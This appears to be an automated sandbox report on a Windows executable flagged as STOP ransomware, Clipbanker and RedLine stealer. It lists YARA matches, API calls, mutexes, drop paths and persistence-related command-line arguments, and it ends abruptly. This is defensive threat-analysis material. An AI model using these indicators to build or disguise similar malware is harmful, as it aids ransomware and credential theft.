Source: 0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000005.00000002.1405143882.0000000004456000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.1620821652.000000000088C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.1548831250.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000000.00000002.1373934785.0000000004498000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000002.1502845330.0000000001D0E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.1548118097.0000000004466000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.1411013560.0000000004578000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001B.00000002.2060772952.0000000000B00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000017.00000002.1792622413.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000017.00000002.1792336779.00000000044D3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000013.00000002.1703479175.0000000000B3C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000020.00000002.3283516956.0000000000AC0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001E.00000002.2677244146.0000000000880000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: Process Memory Space: R5391762lf.exe PID: 7304, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: R5391762lf.exe PID: 7360, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: R5391762lf.exe PID: 7500, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: R5391762lf.exe PID: 7508, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@45/1390@9/5

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 2_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

2_2_00411900

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 0_2_044987C6 CreateToolhelp32Snapshot,Module32First,

0_2_044987C6

Source: C:\Users\user\Desktop\R5391762lf.exe

Code function: 2_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

2_2_0040D240

Source: C:\Users\user\Desktop\R5391762lf.exe

File created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Mutant created: \Sessions\1\BaseNamedObjects\M5/610HP/STAGE2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7156:120:WilError_03

Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: --ForNetRes	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: --Task	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: --AutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: --Service	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: X1P	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: runas	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: x2Q	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: x*P	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: C:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: D:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: 7P	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: %username%	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Command line argument: F:\	2_2_00419F90

Source: R5391762lf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\R5391762lf.exe

